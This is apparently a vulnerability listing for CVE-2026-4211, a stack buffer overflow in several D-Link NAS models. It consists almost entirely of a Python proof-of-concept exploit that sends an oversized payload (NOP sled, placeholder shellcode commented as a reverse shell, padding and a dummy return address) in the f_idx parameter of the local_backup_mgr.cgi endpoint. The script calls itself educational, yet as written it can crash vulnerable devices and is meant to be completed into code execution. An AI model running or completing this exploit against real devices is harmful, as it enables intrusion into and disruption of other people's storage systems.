CVE-2026-4211 D-Link多型号NAS设备栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-4211 PoC - D-Link NAS Local_Backup_Info Stack Buffer Overflow Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_dlink_buffer_overflow(target_ip, target_port=80): """ Exploit CVE-2026-4211 in D-Link NAS devices Args: target_ip: Target device IP address target_port: Target web interface port (default: 80) Returns: bool: True if exploit sent successfully, False otherwise """ # Target URL for the vulnerable CGI script url = f"http://{target_ip}:{target_port}/cgi-bin/local_backup_mgr.cgi" # Create overflow payload # NOP sled for reliable exploitation nop_sled = b"\x90" * 100 # Shellcode: Execute reverse shell to attacker machine # This is a placeholder - actual shellcode would be architecture-specific shellcode = b"\xcc" * 50 # INT3 for debugging # Overflow buffer - exceeds stack buffer size overflow_payload = nop_sled + shellcode # Padding to reach return address overwrite padding = b"A" * (500 - len(overflow_payload)) # Target return address (would need ASLR bypass in real attack) return_address = b"\x42\x42\x42\x42" # BBBB placeholder # Final payload payload = overflow_payload + padding + return_address # HTTP GET request with overflow in f_idx parameter params = { 'f_idx': payload.decode('latin-1'), 'cmd': 'get_backup_info' } try: print(f"[*] Sending exploit to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") response = requests.get(url, params=params, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[-] Request timed out - target may be vulnerable and crashed") return True except requests.exceptions.ConnectionError: print("[-] Connection failed - target may be down or not vulnerable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_dlink_buffer_overflow(target, port)